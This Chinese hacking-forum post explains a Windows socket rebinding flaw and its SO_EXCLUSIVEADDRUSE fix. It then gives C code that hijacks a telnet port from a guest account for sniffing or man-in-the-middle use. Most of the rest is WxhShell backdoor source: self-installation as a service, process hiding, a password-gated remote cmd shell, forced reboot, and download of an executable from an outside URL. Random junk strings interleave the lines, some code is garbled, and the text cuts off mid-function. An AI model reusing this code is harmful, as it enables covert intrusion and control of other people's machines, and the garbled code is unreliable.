在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m^ /s}WEqp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#~4;yY\$I Myf2"\} saddr.sin_family = AF_INET;
n}C0gt-
i (`Q{l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MaLH2?je^n
aTkMg bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
11%Zx3 +LlAGg]Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]GDjR'[z c`/kx 这意味着什么?意味着可以进行如下的攻击:
"jf_xZ$H- iO"ZtkeNr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V`rxjv}! f?TS#jG4} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G[=;519 |xT'+~u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=7EkN% V:{ )6%a9&~H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}@~+%_; j
Y(|z*| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]MC5 uKn [#fz[U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k\RS L -XnOj2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4?]s%2U6 R[rOzoNp0 #include
FH{p1_kZ= #include
{{AZW #include
hxt;sQAo{ #include
q3`~uTzk DWORD WINAPI ClientThread(LPVOID lpParam);
q.j$]?PQ int main()
4ves|pLET {
2cwJ);Eg2 WORD wVersionRequested;
Sbeq%Iwm. DWORD ret;
fu?u~QZ8 WSADATA wsaData;
FD[4?\W]# BOOL val;
cqT%6Si SOCKADDR_IN saddr;
.*Bd'\:F/q SOCKADDR_IN scaddr;
$~\Tl:!#? int err;
7X>*B~(R SOCKET s;
wh!8\9{g SOCKET sc;
ZZ/k7(8 int caddsize;
cC]]H&'Hg+ HANDLE mt;
i(*fv(z DWORD tid;
9Q1w$t~Y wVersionRequested = MAKEWORD( 2, 2 );
P<;Puww/ err = WSAStartup( wVersionRequested, &wsaData );
EKS?3z%! if ( err != 0 ) {
-J0OtrZ printf("error!WSAStartup failed!\n");
B5+$VQ return -1;
Io tc>! }
D&pp
< saddr.sin_family = AF_INET;
sXtt$HID= kh8 M= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h>p,r\X PR*EyM[T saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
SwaMpNXL saddr.sin_port = htons(23);
VV sE]7P ] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c~}FYO$ {
y|NY,{:] printf("error!socket failed!\n");
/O`R9+; return -1;
MO|Pv j~[ }
,@I\'os val = TRUE;
GIfs]zVr` //SO_REUSEADDR选项就是可以实现端口重绑定的
KFy|,@NI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
PZ#aq~>w {
>U?#'e{qW printf("error!setsockopt failed!\n");
!)}D_9{ return -1;
4G hg~0 }
L">m2/ HG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c._!dqR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
M:L-j{?y_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t3C#$> Fq`@sM$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%IDl+_j {
a&dP@) ret=GetLastError();
?}S!8;d printf("error!bind failed!\n");
>h~>7i(A return -1;
r"p"UW9og }
C;#gy- listen(s,2);
_@VKWU$$ while(1)
lQ"t#b+ {
P ?96; caddsize = sizeof(scaddr);
7HL23Vrk //接受连接请求
L X #. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*Wcq'S if(sc!=INVALID_SOCKET)
aC<fzUD;
{
jpOcug`f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$$*0bRfd4= if(mt==NULL)
)i\foSbB`V {
ldc`Y/:{ printf("Thread Creat Failed!\n");
!!mGsgnW break;
,mK UCG }
- s2Yhf }
{UF|-VaG CloseHandle(mt);
" LhXR }
@V+KL>Qw closesocket(s);
QkLcs6)R WSACleanup();
Ct:c%D(L return 0;
7t78=wpLc }
4 XGEw9`3 DWORD WINAPI ClientThread(LPVOID lpParam)
w;J#+ik {
z5sKV7&\[n SOCKET ss = (SOCKET)lpParam;
&yqk96z SOCKET sc;
$. sTb unsigned char buf[4096];
1KJ[&jS ] SOCKADDR_IN saddr;
F$9+WS`c long num;
-Byl~n3*D DWORD val;
N'|9rB2e DWORD ret;
ZJ[p7XP //如果是隐藏端口应用的话,可以在此处加一些判断
"L9pFz</ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U]ZI_[\'U saddr.sin_family = AF_INET;
\tdYTb. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'[bw7T saddr.sin_port = htons(23);
rKl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:z$+leNH\ {
8P&z@E{y printf("error!socket failed!\n");
Qr?(2t# return -1;
0.1?hb|p5T }
6*I=%
H| val = 100;
t3!~=U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~$7YEs) {
*P`k |- ret = GetLastError();
8P2_/)| return -1;
P{,=a]x,mz }
W=,]#Z+M; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QR$m i1Vv\ {
,{Z!T5 | ret = GetLastError();
3v)``
n@ return -1;
G@<[fO|Iam }
Su'l &]
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T\Jm=+]c! {
Owh:(EJ"d printf("error!socket connect failed!\n");
7}tXF closesocket(sc);
/8P7L'Rb closesocket(ss);
msw=x0{n5 return -1;
X"T)X#:) }
qf%p#+:B3 while(1)
xI~ c~KC {
"b`3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1#2L9Bi //如果是嗅探内容的话,可以再此处进行内容分析和记录
1\5po^Oioy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZPHatC num = recv(ss,buf,4096,0);
y"zZ9HQM if(num>0)
S^~
lQ|D send(sc,buf,num,0);
>E>'9@Uh else if(num==0)
/)r[}C0 break;
<In+V num = recv(sc,buf,4096,0);
MnptC 1N if(num>0)
>}86#^F send(ss,buf,num,0);
>a: 6umY else if(num==0)
+@\=v}:
F break;
Wix4se1Ac }
M7neOQHq closesocket(ss);
kO,vHg$ closesocket(sc);
!Eb!y`jK return 0 ;
ul\FZT 4 }
$u,`bX *,wW-8 UR[UZ4G ==========================================================
=AeOkie No]#RvEd3 下边附上一个代码,,WXhSHELL
fc%C!^7 dewN\ ==========================================================
-nB.
.q h9 +76 #include "stdafx.h"
1xU)nXXb W1O Y}2kj #include <stdio.h>
JiiYl #include <string.h>
qn `
\g #include <windows.h>
TZ PUVOtL_ #include <winsock2.h>
WhDNt+uk) #include <winsvc.h>
uHyc7^X> #include <urlmon.h>
6H|&HV(!R OC`Mzf%. #pragma comment (lib, "Ws2_32.lib")
{z8wFL\ #pragma comment (lib, "urlmon.lib")
qkq^oHI <;dFiI-GO# #define MAX_USER 100 // 最大客户端连接数
Kj|\ALI': #define BUF_SOCK 200 // sock buffer
* YTv" #define KEY_BUFF 255 // 输入 buffer
Qy) -gax:, :tLMh08h #define REBOOT 0 // 重启
e`%<D[- #define SHUTDOWN 1 // 关机
ZZW%6 -B hj3wxH.} #define DEF_PORT 5000 // 监听端口
iD:TKB_r 8{p#Nl?U1 #define REG_LEN 16 // 注册表键长度
kT&GsR/ #define SVC_LEN 80 // NT服务名长度
?O/!pUAu /Fp@j/50 // 从dll定义API
+<c(;Ucl? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7T=:dv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*GM.2``e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]#J-itO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'zYx4&s c)17[9" // wxhshell配置信息
+InFv"wt struct WSCFG {
IPlkv{^ int ws_port; // 监听端口
l`*R !\ char ws_passstr[REG_LEN]; // 口令
o>\epQt~/p int ws_autoins; // 安装标记, 1=yes 0=no
0u ,nSvch char ws_regname[REG_LEN]; // 注册表键名
wmFS+F4`2 char ws_svcname[REG_LEN]; // 服务名
ngH_p> char ws_svcdisp[SVC_LEN]; // 服务显示名
2r#W#z%vS char ws_svcdesc[SVC_LEN]; // 服务描述信息
w'P!<JaZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
DgC;1U' int ws_downexe; // 下载执行标记, 1=yes 0=no
f_tC:T4a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f.Ms3)) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e>$E67h<~ XE :JL_ };
F2mW<REg{ ^9oJuT!tu // default Wxhshell configuration
|&rxDf}W struct WSCFG wscfg={DEF_PORT,
YW^sf,zQ "xuhuanlingzhe",
.T^e8 1,
+ Scw;gO "Wxhshell",
|j7{zsH "Wxhshell",
[xg&`x9,. "WxhShell Service",
_9"%;:t "Wrsky Windows CmdShell Service",
g2GHsVS "Please Input Your Password: ",
X?q,m4+ 1,
O4Hc"v "
http://www.wrsky.com/wxhshell.exe",
NEX{vZkgw "Wxhshell.exe"
0o-KjX?kP };
qX!P:M .06[*S // 消息定义模块
|1^
!rHg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
kY`L[1G$ char *msg_ws_prompt="\n\r? for help\n\r#>";
_0qp!-l} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DsF<P@O6 char *msg_ws_ext="\n\rExit.";
_tpqo> char *msg_ws_end="\n\rQuit.";
R3@$ao char *msg_ws_boot="\n\rReboot...";
lAx^!#~\ char *msg_ws_poff="\n\rShutdown...";
##qs{s^] char *msg_ws_down="\n\rSave to ";
e'1}5Ky 2$gOe^ & char *msg_ws_err="\n\rErr!";
uY Y{M` char *msg_ws_ok="\n\rOK!";
44(l1xEN+ jsnk*>j char ExeFile[MAX_PATH];
UqsX@jL! int nUser = 0;
8iwqy0< HANDLE handles[MAX_USER];
TSAVXng int OsIsNt;
fr([g?F%D }o MY SERVICE_STATUS serviceStatus;
uj9IK SERVICE_STATUS_HANDLE hServiceStatusHandle;
8.4+4Vxh OMVK\_oXo // 函数声明
dUL3UY3 int Install(void);
=dTsGNz int Uninstall(void);
q\a'pp9d int DownloadFile(char *sURL, SOCKET wsh);
{%Q&CQG_ int Boot(int flag);
Ju.B!)uS# void HideProc(void);
*FrlzIAom int GetOsVer(void);
%>Y86>mVz int Wxhshell(SOCKET wsl);
_0(Bx?[h void TalkWithClient(void *cs);
Z
7s
(g] int CmdShell(SOCKET sock);
Y]gb`z$? int StartFromService(void);
sM$gfFx int StartWxhshell(LPSTR lpCmdLine);
.,5N/p"aV a+Z95~*sZ" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?A7_&=J% VOID WINAPI NTServiceHandler( DWORD fdwControl );
dwAFJhgh N++jI( // 数据结构和表定义
P(#by{s SERVICE_TABLE_ENTRY DispatchTable[] =
7Ta",S@m {
m?Qr)F_M {wscfg.ws_svcname, NTServiceMain},
3>t^Xu~ {NULL, NULL}
bhWH };
k9pOY]_Y R"`7aa6 // 自我安装
4#^?-6 int Install(void)
7$&3(#!N {
u!VAAX char svExeFile[MAX_PATH];
io{uN/!X_J HKEY key;
{2Jn#&Z29 strcpy(svExeFile,ExeFile);
g-Y2U}& 8NRc+@f|m // 如果是win9x系统,修改注册表设为自启动
z]Dbca1a` if(!OsIsNt) {
-0/5! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v8>?,N# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xF4>D!T%8 RegCloseKey(key);
Y]SX2kk(2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2HemPth RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X <<hb RegCloseKey(key);
,c;u] return 0;
RS>;$O_(M }
o"a~ }
%ur_DQ }
z"@yE*6 else {
ymxYE#q EGZF@#N // 如果是NT以上系统,安装为系统服务
R\B-cU[, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t'@qb~sf if (schSCManager!=0)
qx $-% P {
lbCTc,xT SC_HANDLE schService = CreateService
=&J7
'nDP (
>(}
I7 schSCManager,
v ;q<h wscfg.ws_svcname,
8Q%rBl. wscfg.ws_svcdisp,
g0P^O@8 SERVICE_ALL_ACCESS,
;;9W/m~] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xsPE UK&g SERVICE_AUTO_START,
Tjfg[Z/x SERVICE_ERROR_NORMAL,
LyRU2A svExeFile,
$cxulcay= NULL,
fg mIx NULL,
pa6.Tp> NULL,
MMZdF{5@G NULL,
sMq*X^z
)? NULL
5f:Mb|.? );
>>ncq$ if (schService!=0)
!8Rsz:7^- {
{PXN$p:' CloseServiceHandle(schService);
UKBVCAK CloseServiceHandle(schSCManager);
[q/tKdo@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_\9|acFT2O strcat(svExeFile,wscfg.ws_svcname);
f#s
/Ycp+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"QWF&-kAI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
W3XVr& RegCloseKey(key);
'Y
ZYRFWXM return 0;
G\y: O9( }
=
h
_>OA }
f__r" N CloseServiceHandle(schSCManager);
L8&$o2+07r }
x:h0/f }
Rn(vG-xQ $c!cO" U return 1;
. C g2Y }
O>Vb7`z0< Z'P>sV // 自我卸载
{&2aH>V/ int Uninstall(void)
Q-3o k7 {
h}X^ HKEY key;
? 1OZEzA! /B$9B if(!OsIsNt) {
`aj;FrF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7X
h'VOljB RegDeleteValue(key,wscfg.ws_regname);
Xndgs}zz RegCloseKey(key);
}r}$8M+1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hh_Yd) RegDeleteValue(key,wscfg.ws_regname);
.Ulrv5wJ RegCloseKey(key);
e/pZLj]M return 0;
2yu\fu }
W6_~.m"b }
1Na*7| }
Hm>M}MF3 else {
u&q RK>wLa FKTdQg|NZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hL1q9% if (schSCManager!=0)
cs]N%M^s {
OF$0]V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DrfOz#a0Uu if (schService!=0)
w4m-DR5 {
3{gD'y4j if(DeleteService(schService)!=0) {
*SW.K{{ CloseServiceHandle(schService);
E8[{U8)[;5 CloseServiceHandle(schSCManager);
K%Dksx7ow return 0;
i+x$Y)= }
F/MzrK\':m CloseServiceHandle(schService);
&+@~;p5F }
f`zH#{u CloseServiceHandle(schSCManager);
Q.3oDq }
Q&zEa0^rG6 }
gnW]5#c@ c-|~ABtEpX return 1;
8VbHZ9Q }
AS 5\X.%L* AqPE.mf // 从指定url下载文件
T7vSp<i/ int DownloadFile(char *sURL, SOCKET wsh)
YL(7l|^! {
<M(Jqb cWa HRESULT hr;
{ o2pCH char seps[]= "/";
AOT +4*)% char *token;
p$>e{-u char *file;
_/@VV5Mq char myURL[MAX_PATH];
F\' ^DtB char myFILE[MAX_PATH];
N!7r~B
.AEOf0t strcpy(myURL,sURL);
ZG=B'4W token=strtok(myURL,seps);
'S_kD! BO while(token!=NULL)
I!
s&m%s {
.~)[> file=token;
x$G u)S token=strtok(NULL,seps);
tVSURYA8 }
c$X0C&m BXNt@% GetCurrentDirectory(MAX_PATH,myFILE);
>d.o1< strcat(myFILE, "\\");
``%uq)G=D strcat(myFILE, file);
W<J".2D send(wsh,myFILE,strlen(myFILE),0);
AJ0qq send(wsh,"...",3,0);
[x`trypg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
l[KFK%? if(hr==S_OK)
1b4aY>
Z return 0;
RYU(z;+0p else
,XD'f return 1;
0((3q'[ < U}H2!et&,) }
=5NM
=K R|7yhsJq, // 系统电源模块
$
O1w6\}_ int Boot(int flag)
x?hdC)#DWI {
bU`Ih# q HANDLE hToken;
+UzFHiGy# TOKEN_PRIVILEGES tkp;
]SNA2?q ZTCzD8 if(OsIsNt) {
d3A= (/>D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cR;zNS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|K},f, tkp.PrivilegeCount = 1;
W$&kOdD!$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S@AHI!"h=V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6pkZ8Vp: if(flag==REBOOT) {
5O.dRp7dJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<E2+P,Lgw return 0;
4@,d{qp~ }
Y{].%xM5 else {
{`Ekv/XWa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yY,O=yOjq return 0;
RX-qL,dc }
UQGOCP_ }
"][MCVYP else {
UjmBLXz@T if(flag==REBOOT) {
]X:{y&g( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4::>Ca^{ return 0;
13oR-Stj| }
nC^|83 else {
V^O
dTM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
owClnp9K return 0;
_dCsYI% }
n@pm5f }
;^5d^-T yNY *Fl! return 1;
K6#9HF'2I }
7X3<8:% N3P!<J/tc // win9x进程隐藏模块
ahagt9[,:F void HideProc(void)
(!h%)
_?.l {
sOc<'):TK l3Vw?f HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8 *@knkJ if ( hKernel != NULL )
s1,kTde {
<8UqV.& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"%O,*t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
w(w%~;\kLP FreeLibrary(hKernel);
d4"KM+EP? }
3kxI'0&T GarPnb return;
0qXkWGB }
G~Xh4*#J L8<Yk`jx // 获取操作系统版本
3y!yz3E int GetOsVer(void)
;Qpp[V` {
S~WsGLF s OSVERSIONINFO winfo;
[m*=Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B_FfXFQm< GetVersionEx(&winfo);
f
=H,BQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4:$?u}9[:[ return 1;
:3qA7D } else
&1hJ?uM01 return 0;
]=A=VH& }
:tP:X+?O %N\pfZ2\ // 客户端句柄模块
!"u) `I2 int Wxhshell(SOCKET wsl)
Nrl&"IK|J {
S>~QuCMY SOCKET wsh;
/yHM=&Vg] struct sockaddr_in client;
WNkAI9B DWORD myID;
qzv$E;zAl g%z?O[CN while(nUser<MAX_USER)
r>+Hwj0> {
O=os ,'" int nSize=sizeof(client);
vF, !8e'v wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?#@JH if(wsh==INVALID_SOCKET) return 1;
D:Zpls. TGxspmY6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?}*A/-Hx0U if(handles[nUser]==0)
Ro+/=*ql~ closesocket(wsh);
Y21,!$4gb else
Q1qf'u nUser++;
8Rq+eOP=S }
ZoJ:4uo
N` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fo])=KM Wx}+Vq<q return 0;
*#j+,q!X }
~8'4/wh+8 K~nk:}3Ui // 关闭 socket
7&G[mOx0 void CloseIt(SOCKET wsh)
bK `'zi {
]a|3"DP5 closesocket(wsh);
V}732?Jy nUser--;
G!~[+B ExitThread(0);
<wwcPe} }
3 wVN:g7 zGFo-C // 客户端请求句柄
}a@ZFk_> void TalkWithClient(void *cs)
[ V`j@dV {
qX{m7 ehEXC SOCKET wsh=(SOCKET)cs;
Ou IoO char pwd[SVC_LEN];
6,'v
/A- char cmd[KEY_BUFF];
DKL< "#.7 char chr[1];
J&~nD(&TY int i,j;
eWO^n>Y j3QpY9A while (nUser < MAX_USER) {
/#J)EH4p |RQ19m@ if(wscfg.ws_passstr) {
<a *X&P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=Haqr*PDx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3=xb%Upw //ZeroMemory(pwd,KEY_BUFF);
IC}?oXs5G i=0;
}zVPdBRfm while(i<SVC_LEN) {
N7j =p>"PqJ/7n // 设置超时
gP.Q_/V fd_set FdRead;
T{M~*5$ struct timeval TimeOut;
DB'pRo+U FD_ZERO(&FdRead);
}Jt( H FD_SET(wsh,&FdRead);
*a Y`[,4#$ TimeOut.tv_sec=8;
*&)<'6 TimeOut.tv_usec=0;
c8mcJAc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(x9d7$2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$NP5Z0v7 D/hQ{T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GDC`\cy pwd
=chr[0]; WAiEINQ^)
if(chr[0]==0xd || chr[0]==0xa) { {Q8DPkW
pwd=0; .E|Hk,c9
break; 0 3L"W^gc
} -!(
i++; *W q{ :k
} S1^u/$*6
G~T]m .
// 如果是非法用户,关闭 socket p~M1}mE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fAWjk&9
} ,YFuMek
NUBzm nA>8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N m-{$U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VY8p[`
z^9Yoqog
while(1) { MJ[#Gq\0R
th8f
ZeroMemory(cmd,KEY_BUFF); Xg.'<.!g0
/E(H`;DG
// 自动支持客户端 telnet标准 2XrPgq'
j=0; "Iu[)O%
while(j<KEY_BUFF) { F?'=iY<h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zmy94Y5PE
cmd[j]=chr[0]; M*| y&XBe
if(chr[0]==0xa || chr[0]==0xd) { J=67As
cmd[j]=0; /B"h#v-o
break; [@[!esC
} aR.1&3fE
j++;
9"R]"v3BA
} VtF^;
f
}(O/ y-
// 下载文件 !_s|h@
if(strstr(cmd,"http://")) { hNUAwTH6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^[XxE Lx
if(DownloadFile(cmd,wsh)) 5gW`;Cdbyc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hb9X<N+p
else 8%JxXtWW`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (5{ |']G
} I jN3 jU
else { ';??0M
e;pVoRI
switch(cmd[0]) { hu\HK81m
bJe*J\){
// 帮助 EDvK9J
case '?': { &$ F0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ayyn6a8
break; A|tee@H*0
} "xZ]i)
// 安装 +Tc4+q!
case 'i': { "5e~19
if(Install()) >]Hz-2b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @~fg[)7M
else nL@
"FZ`(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hC<X\yxe
break; 'P}"ZHW
} +V1EqC*
// 卸载 8YraW| H
case 'r': { n1o/-UY
if(Uninstall()) <Hhl=6op
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @``kt*+K+
else dv-yZRU:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (?xGlV`n
break; qf+jfc(Iby
} %([$v6y
// 显示 wxhshell 所在路径 +]
B
case 'p': { 'Z'X`_
char svExeFile[MAX_PATH]; nWN~G
strcpy(svExeFile,"\n\r"); V4qHaG
strcat(svExeFile,ExeFile); b$[_(QUw
send(wsh,svExeFile,strlen(svExeFile),0);
wRb%-s
break; 7CUu:6%
} * 103
// 重启 BHn`e~
case 'b': { >5wA B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jpyV52
if(Boot(REBOOT)) shxr^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IGT~@);
else { .=rv,PWjZ
closesocket(wsh); j2lo~J)
ExitThread(0); F}0QocD
} gB&]kHLO
break; 2 *n2!7jZ*
} - t4"BD
// 关机 mc|T}B
case 'd': { x+|Fw d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PqPLy
if(Boot(SHUTDOWN)) "%urT/Fv&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %H>vMR-,~
else { l7aGo1TcIh
closesocket(wsh); Xn"n5=M
ExitThread(0); m0 ]LY-t
} FR0zK=\
break; aRq7x~j
)\
} 8_>\A=
E
// 获取shell :84ja>`c
case 's': { hiaj!&+Q
CmdShell(wsh); <,Sy:>:"
closesocket(wsh); 0ang~_
ExitThread(0); BQSA;;n]
break; yt>Pf<AI
} yNc>s/
// 退出 Yc=y Vh
case 'x': { |_F-Abk
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,TOLr%+v~n
CloseIt(wsh); )
EEr? "
break; KU-z;}9s
} A/{pG#if]3
// 离开 IG`~^-}7lR
case 'q': { 2P$l XGjh
send(wsh,msg_ws_end,strlen(msg_ws_end),0); jCW>=1:JGY
closesocket(wsh); (&PamsV*8
WSACleanup(); 'nP'MA9b;a
exit(1); ^K@r!)We
break; ;VK;_d
} Z/q%%(fh 0
} >1pD'UZIy7
} ?*}76u
MP[v 9m@
// 提示信息 =d~]*[8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ifTVTd7O
} |rdG+>
} &-<"HW
Lj *FKP\{
return; ol!o8M%Q
} KblOP{I
kjaz{&P
// shell模块句柄 n#z^uq|v
int CmdShell(SOCKET sock) |GK [I
{ ^eM=h
STARTUPINFO si; :1_hQeq
ZeroMemory(&si,sizeof(si)); =e$
#m;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zIF &ZYP
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [w=x 0J&
PROCESS_INFORMATION ProcessInfo; bQXxb(^
char cmdline[]="cmd"; YtW#MG$f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @kvp2P+O
return 0; ez(4TtT
} 6;n^/3*#
L!S-f4^5
// 自身启动模式 yel>-=Vn
int StartFromService(void) a:zx&DwM
{ FAM`+QtNw
typedef struct 7S]
h:q%%
{ nyQFS
DWORD ExitStatus; WcH^bAY 6
DWORD PebBaseAddress; <$?:|
DWORD AffinityMask; -mY90]g
